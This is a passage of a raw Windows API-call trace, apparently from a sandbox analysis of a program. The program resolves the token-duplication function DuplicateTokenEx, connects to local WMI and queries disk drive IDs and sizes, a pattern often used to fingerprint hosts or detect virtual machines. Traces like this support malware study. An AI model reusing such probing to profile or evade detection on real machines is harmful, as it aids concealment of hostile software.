?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x13f830 [0189.808] GetSystemDirectoryW (in: lpBuffer=0x13f830, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0189.808] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fffcb600000 [0189.808] GetProcAddress (hModule=0x7fffcb600000, lpProcName="DuplicateTokenEx") returned 0x7fffcb6175d0 [0189.808] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.808] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x146920 [0189.808] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x184e50 [0189.809] ResolveDelayLoadedAPI () returned 0x7fffcbc09fc0 [0189.809] CoCreateInstance (in: rclsid=0x7fffabacec50*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffabacec60*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x184e80 | out: ppv=0x184e80*=0x1735f0) returned 0x0 [0189.816] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1643b0 [0189.816] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x164ef0 [0189.816] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x146c60 [0189.816] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.816] GetCurrentThreadId () returned 0xfec [0189.816] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.970] LoadRegTypeLib (in: rguid=0x7fffabaceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x138910) returned 0x0 [0189.975] ITypeLib:GetTypeInfoOfGuid (in: This=0x138910, GUID=0x184eb8*(Data1=0x76a6415b, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x184ea0 | out: ppTInfo=0x184ea0*=0x174848) returned 0x0 [0189.975] IUnknown:Release (This=0x138910) returned 0x1 [0189.975] IUnknown:AddRef (This=0x174848) returned 0x2 [0189.975] DispGetIDsOfNames (in: ptinfo=0x174848, rgszNames=0x13b960*="ConnectServer", cNames=0x1, rgdispid=0x13b570 | out: rgdispid=0x13b570*=1) returned 0x0 [0189.975] IUnknown:Release (This=0x174848) returned 0x1 [0189.976] IUnknown:AddRef (This=0x174848) returned 0x2 [0189.976] ITypeInfo:LocalInvoke (This=0x174848) returned 0x0 [0189.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.977] GetCurrentThreadId () returned 0xfec [0189.977] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x4deee1f8 | out: phkResult=0x4deee1f8*=0x264) returned 0x0 [0189.977] RegQueryValueExW (in: hKey=0x264, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x4deee1f0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x4deee1f0*=0x16) returned 0x0 [0189.977] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1596a0 [0189.977] RegQueryValueExW (in: hKey=0x264, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x1596a0, lpcbData=0x4deee1f0*=0x16 | out: lpType=0x0, lpData=0x1596a0*=0x72, lpcbData=0x4deee1f0*=0x16) returned 0x0 [0189.977] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1590e0 [0189.977] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.977] RegCloseKey (hKey=0x264) returned 0x0 [0189.977] CoCreateInstance (in: rclsid=0x7fffabacecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffabacece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee230 | out: ppv=0x4deee230*=0x167c00) returned 0x0 [0189.985] SysStringLen (param_1=".") returned 0x1 [0189.985] WbemDefPath:IWbemPath:SetServer (This=0x167c00, Name=".") returned 0x0 [0189.985] CoCreateInstance (in: rclsid=0x7fffabacecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffabacece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee1a0 | out: ppv=0x4deee1a0*=0x168440) returned 0x0 [0189.985] CoCreateInstance (in: rclsid=0x7fffabacecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffabacece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee128 | out: ppv=0x4deee128*=0x167cc0) returned 0x0 [0189.985] WbemDefPath:IWbemPath:SetText (This=0x167cc0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0189.985] WbemDefPath:IUnknown:Release (This=0x167cc0) returned 0x0 [0189.985] SysStringLen (param_1="root\\cimv2") returned 0xa [0189.985] WbemDefPath:IWbemPath:SetText (This=0x168440, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0189.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x168440, puCount=0x4deee1f0 | out: puCount=0x4deee1f0*=0x2) returned 0x0 [0189.986] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x167c00) returned 0x0 [0189.986] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x168440, uIndex=0x0, puNameBufLength=0x4deee170*=0x0, pName=0x0 | out: puNameBufLength=0x4deee170*=0x5, pName=0x0) returned 0x0 [0189.986] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x139270 [0189.986] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x168440, uIndex=0x0, puNameBufLength=0x4deee170*=0x5, pName="겐\x13" | out: puNameBufLength=0x4deee170*=0x5, pName="root") returned 0x0 [0189.986] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.986] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x167c00, uIndex=0x0, pszName="root") returned 0x0 [0189.986] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x168440, uIndex=0x1, puNameBufLength=0x4deee170*=0x0, pName=0x0 | out: puNameBufLength=0x4deee170*=0x6, pName=0x0) returned 0x0 [0189.986] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x139270 [0189.986] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x168440, uIndex=0x1, puNameBufLength=0x4deee170*=0x6, pName="root" | out: puNameBufLength=0x4deee170*=0x6, pName="cimv2") returned 0x0 [0189.986] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.986] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x167c00, uIndex=0x1, pszName="cimv2") returned 0x0 [0189.986] WbemDefPath:IUnknown:Release (This=0x168440) returned 0x0 [0189.986] WbemDefPath:IWbemPath:GetText (in: This=0x167c00, lFlags=4, puBuffLength=0x4deee1f0*=0x0, pszText=0x0 | out: puBuffLength=0x4deee1f0*=0xf, pszText=0x0) returned 0x0 [0189.986] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x12c220 [0189.986] WbemDefPath:IWbemPath:GetText (in: This=0x167c00, lFlags=4, puBuffLength=0x4deee1f0*=0xf, pszText="cimv2" | out: puBuffLength=0x4deee1f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.987] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.987] WbemDefPath:IUnknown:Release (This=0x167c00) returned 0x0 [0189.987] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1735f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x4deee2c0 | out: ppNamespace=0x4deee2c0*=0x163460) returned 0x0 [0190.021] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x184560 [0190.021] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1830b0 [0190.021] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x167560 [0190.021] WbemLocator:IUnknown:QueryInterface (in: This=0x163460, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee0b8 | out: ppvObject=0x4deee0b8*=0x1746e8) returned 0x0 [0190.021] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1746e8, pProxy=0x163460, pAuthnSvc=0x4deee0b0, pAuthzSvc=0x4deee0f8, pServerPrincName=0x0, pAuthnLevel=0x4deee158, pImpLevel=0x4deee100, pAuthInfo=0x0, pCapabilites=0x4deee0e0 | out: pAuthnSvc=0x4deee0b0*=0xa, pAuthzSvc=0x4deee0f8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee158*=0x6, pImpLevel=0x4deee100*=0x2, pAuthInfo=0x0, pCapabilites=0x4deee0e0*=0x1) returned 0x0 [0190.021] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x1 [0190.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.022] GetCurrentThreadId () returned 0xfec [0190.022] WbemLocator:IUnknown:QueryInterface (in: This=0x163460, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee110 | out: ppvObject=0x4deee110*=0x1746e8) returned 0x0 [0190.022] WbemLocator:IClientSecurity:CopyProxy (in: This=0x1746e8, pProxy=0x163460, ppCopy=0x4deee108 | out: ppCopy=0x4deee108*=0x164150) returned 0x0 [0190.022] WbemLocator:IUnknown:QueryInterface (in: This=0x164150, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedfd0 | out: ppvObject=0x4deedfd0*=0x1746e8) returned 0x0 [0190.022] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1746e8, pProxy=0x164150, pAuthnSvc=0x4deee024, pAuthzSvc=0x4deee028, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deee024*=0xa, pAuthzSvc=0x4deee028*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0190.022] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x3 [0190.022] WbemLocator:IUnknown:QueryInterface (in: This=0x164150, riid=0x7fffabac98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedf90 | out: ppvObject=0x4deedf90*=0x174730) returned 0x0 [0190.022] WbemLocator:IUnknown:QueryInterface (in: This=0x164150, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedfd0 | out: ppvObject=0x4deedfd0*=0x1746e8) returned 0x0 [0190.022] WbemLocator:IClientSecurity:SetBlanket (This=0x1746e8, pProxy=0x164150, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0190.023] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x4 [0190.023] SWbemLocator:IUnknown:Release (This=0x174730) returned 0x3 [0190.023] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x2 [0190.023] WbemLocator:IUnknown:AddRef (This=0x164150) returned 0x3 [0190.023] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1649e0 [0190.023] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x158540 [0190.023] WbemLocator:IUnknown:Release (This=0x163460) returned 0x2 [0190.023] IUnknown:Release (This=0x174848) returned 0x1 [0190.028] LoadRegTypeLib (in: rguid=0x7fffabaceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x138910) returned 0x0 [0190.029] ITypeLib:GetTypeInfoOfGuid (in: This=0x138910, GUID=0x1845c8*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x1845b0 | out: ppTInfo=0x1845b0*=0x1749a8) returned 0x0 [0190.029] IUnknown:Release (This=0x138910) returned 0x2 [0190.029] IUnknown:AddRef (This=0x1749a8) returned 0x2 [0190.029] DispGetIDsOfNames (in: ptinfo=0x1749a8, rgszNames=0x167520*="ExecQuery", cNames=0x1, rgdispid=0x167190 | out: rgdispid=0x167190*=9) returned 0x0 [0190.029] IUnknown:Release (This=0x1749a8) returned 0x1 [0190.031] IUnknown:AddRef (This=0x1749a8) returned 0x2 [0190.031] ITypeInfo:LocalInvoke (This=0x1749a8) returned 0x0 [0190.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.031] GetCurrentThreadId () returned 0xfec [0190.031] WbemLocator:IUnknown:AddRef (This=0x164150) returned 0x3 [0190.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.031] GetCurrentThreadId () returned 0xfec [0190.031] IWbemServices:ExecQuery (in: This=0x164150, strQueryLanguage="WQL", strQuery="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", lFlags=272, pCtx=0x0, ppEnum=0x4deedf98 | out: ppEnum=0x4deedf98*=0x167940) returned 0x0 [0190.087] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1637e0 [0190.087] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x181ad0 [0190.087] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x164dd0 [0190.087] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x158700 [0190.087] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x15c5e0 [0190.087] IUnknown:QueryInterface (in: This=0x167940, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deeddc8 | out: ppvObject=0x4deeddc8*=0x167948) returned 0x0 [0190.088] IClientSecurity:QueryBlanket (in: This=0x167948, pProxy=0x167940, pAuthnSvc=0x4deeddc0, pAuthzSvc=0x4deede08, pServerPrincName=0x0, pAuthnLevel=0x4deede68, pImpLevel=0x4deede10, pAuthInfo=0x0, pCapabilites=0x4deeddf0 | out: pAuthnSvc=0x4deeddc0*=0xa, pAuthzSvc=0x4deede08*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deede68*=0x6, pImpLevel=0x4deede10*=0x2, pAuthInfo=0x0, pCapabilites=0x4deeddf0*=0x1) returned 0x0 [0190.088] IUnknown:Release (This=0x167948) returned 0x1 [0190.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.088] GetCurrentThreadId () returned 0xfec [0190.088] WbemLocator:IUnknown:QueryInterface (in: This=0x164150, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedd98 | out: ppvObject=0x4deedd98*=0x1746e8) returned 0x0 [0190.088] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1746e8, pProxy=0x164150, pAuthnSvc=0x4deedd90, pAuthzSvc=0x4deeddd8, pServerPrincName=0x0, pAuthnLevel=0x4deede00, pImpLevel=0x4deeddf8, pAuthInfo=0x0, pCapabilites=0x4deeddc0 | out: pAuthnSvc=0x4deedd90*=0xa, pAuthzSvc=0x4deeddd8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deede00*=0x6, pImpLevel=0x4deeddf8*=0x3, pAuthInfo=0x0, pCapabilites=0x4deeddc0*=0x20) returned 0x0 [0190.088] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x3 [0190.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.088] GetCurrentThreadId () returned 0xfec [0190.088] WbemLocator:IUnknown:QueryInterface (in: This=0x164150, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedd98 | out: ppvObject=0x4deedd98*=0x1746e8) returned 0x0 [0190.089] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1746e8, pProxy=0x164150, pAuthnSvc=0x4deedd90, pAuthzSvc=0x4deeddd8, pServerPrincName=0x0, pAuthnLevel=0x4deeddf8, pImpLevel=0x4deede00, pAuthInfo=0x0, pCapabilites=0x4deeddc0 | out: pAuthnSvc=0x4deedd90*=0xa, pAuthzSvc=0x4deeddd8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deeddf8*=0x6, pImpLevel=0x4deede00*=0x3, pAuthInfo=0x0, pCapabilites=0x4deeddc0*=0x20) returned 0x0 [0190.089] WbemLocator:IUnknown:Release (This=0x1746e8) returned 0x3 [0190.089] IUnknown:QueryInterface (in: This=0x167940, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deede20 | out: ppvObject=0x4deede20*=0x167948) returned 0x0 [0190.089] IClientSecurity:CopyProxy (in: This=0x167948, pProxy=0x167940, ppCopy=0x4deede18 | out: ppCopy=0x4deede18*=0x15c820) returned 0x0 [0190.089] IUnknown:QueryInterface (in: This=0x15c820, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedce0 | out: ppvObject=0x4deedce0*=0x15c828) returned 0x0 [0190.089] IClientSecurity:QueryBlanket (in: This=0x15c828, pProxy=0x15c820, pAuthnSvc=0x4deedd34, pAuthzSvc=0x4deedd38, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deedd34*=0xa, pAuthzSvc=0x4deedd38*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0190.089] IUnknown:Release (This=0x15c828) returned 0x3 [0190.089] IUnknown:QueryInterface (in: This=0x15c820, riid=0x7fffabac98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedca0 | out: ppvObject=0x4deedca0*=0x132150) returned 0x0 [0190.089] IUnknown:QueryInterface (in: This=0x15c820, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedce0 | out: ppvObject=0x4deedce0*=0x15c828) returned 0x0 [0190.089] IClientSecurity:SetBlanket (This=0x15c828, pProxy=0x15c820, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0190.102] IUnknown:Release (This=0x15c828) returned 0x4 [0190.102] SWbemLocator:IUnknown:Release (This=0x132150) returned 0x3 [0190.102] IUnknown:Release (This=0x167948) returned 0x2 [0190.102] IUnknown:AddRef (This=0x15c820) returned 0x3 [0190.102] IUnknown:Release (This=0x167940) returned 0x2 [0190.102] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deedf30 | out: pperrinfo=0x4deedf30*=0x0) returned 0x1 [0190.102] WbemLocator:IUnknown:Release (This=0x164150) returned 0x2 [0190.102] IUnknown:Release (This=0x1749a8) returned 0x1 [0190.105] LoadRegTypeLib (in: rguid=0x7fffabaceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x138910) returned 0x0 [0190.106] ITypeLib:GetTypeInfoOfGuid (in: This=0x138910, GUID=0x163830*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x163818 | out: ppTInfo=0x163818*=0x174a58) returned 0x0 [0190.106] IUnknown:Release (This=0x138910) returned 0x3 [0190.106] IUnknown:AddRef (This=0x174a58) returned 0x2 [0190.106] DispGetIDsOfNames (in: ptinfo=0x174a58, rgszNames=0x167490*="Count", cNames=0x1, rgdispid=0x1672b0 | out: rgdispid=0x1672b0*=1) returned 0x0 [0190.106] IUnknown:Release (This=0x174a58) returned 0x1 [0190.107] IUnknown:AddRef (This=0x174a58) returned 0x2 [0190.107] ITypeInfo:LocalInvoke (This=0x174a58) returned 0x0 [0190.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.107] GetCurrentThreadId () returned 0xfec [0190.107] IUnknown:AddRef (This=0x15c820) returned 0x3 [0190.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.107] GetCurrentThreadId () returned 0xfec [0190.107] IEnumWbemClassObject:Clone (in: This=0x15c820, ppEnum=0x4deee3a8 | out: ppEnum=0x4deee3a8*=0x15c960) returned 0x0 [0190.118] IUnknown:QueryInterface (in: This=0x15c820, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee2c8 | out: ppvObject=0x4deee2c8*=0x15c828) returned 0x0 [0190.119] IClientSecurity:QueryBlanket (in: This=0x15c828, pProxy=0x15c820, pAuthnSvc=0x4deee2c0, pAuthzSvc=0x4deee308, pServerPrincName=0x0, pAuthnLevel=0x4deee330, pImpLevel=0x4deee328, pAuthInfo=0x0, pCapabilites=0x4deee2f0 | out: pAuthnSvc=0x4deee2c0*=0xa, pAuthzSvc=0x4deee308*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee330*=0x6, pImpLevel=0x4deee328*=0x3, pAuthInfo=0x0, pCapabilites=0x4deee2f0*=0x20) returned 0x0 [0190.119] IUnknown:Release (This=0x15c828) returned 0x3 [0190.119] IUnknown:QueryInterface (in: This=0x15c960, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1e0 | out: ppvObject=0x4deee1e0*=0x15c968) returned 0x0 [0190.119] IClientSecurity:QueryBlanket (in: This=0x15c968, pProxy=0x15c960, pAuthnSvc=0x4deee234, pAuthzSvc=0x4deee238, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deee234*=0xa, pAuthzSvc=0x4deee238*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0190.119] IUnknown:Release (This=0x15c968) returned 0x1 [0190.119] IUnknown:QueryInterface (in: This=0x15c960, riid=0x7fffabac98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1a0 | out: ppvObject=0x4deee1a0*=0x131730) returned 0x0 [0190.119] IUnknown:QueryInterface (in: This=0x15c960, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1e0 | out: ppvObject=0x4deee1e0*=0x15c968) returned 0x0 [0190.119] IClientSecurity:SetBlanket (This=0x15c968, pProxy=0x15c960, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0190.123] IUnknown:Release (This=0x15c968) returned 0x2 [0190.123] SWbemLocator:IUnknown:Release (This=0x131730) returned 0x1 [0190.123] IEnumWbemClassObject:Reset (This=0x15c960) returned 0x0 [0190.124] IEnumWbemClassObject:Next (in: This=0x15c960, lTimeout=-1, uCount=0x1, apObjects=0x4deee350, puReturned=0x4deee3a0 | out: apObjects=0x4deee350*=0x14c3d0, puReturned=0x4deee3a0*=0x1) returned 0x0 [0190.127] IUnknown:Release (This=0x14c3d0) returned 0x0 [0190.127] IEnumWbemClassObject:Next (in: This=0x15c960, lTimeout=-1, uCount=0x1, apObjects=0x4deee350, puReturned=0x4deee3a0 | out: apObjects=0x4deee350*=0x14c3d0, puReturned=0x4deee3a0*=0x0) returned 0x1 [0190.128] IUnknown:Release (This=0x15c960) returned 0x0 [0190.129] IUnknown:Release (This=0x15c820) returned 0x2 [0190.129] IUnknown:Release (This=0x174a58) returned 0x1 [0190.130] IUnknown:AddRef (This=0x174a58) returned 0x2 [0190.130] DispGetIDsOfNames (in: ptinfo=0x174a58, rgszNames=0x1673a0*="_NewEnum", cNames=0x1, rgdispid=0x166dd0 | out: rgdispid=0x166dd0*=-4) returned 0x0 [0190.130] IUnknown:Release (This=0x174a58) returned 0x1 [0190.131] IUnknown:AddRef (This=0x174a58) returned 0x2 [0190.131] ITypeInfo:LocalInvoke (This=0x174a58) returned 0x0 [0190.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.131] GetCurrentThreadId () returned 0xfec [0190.131] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 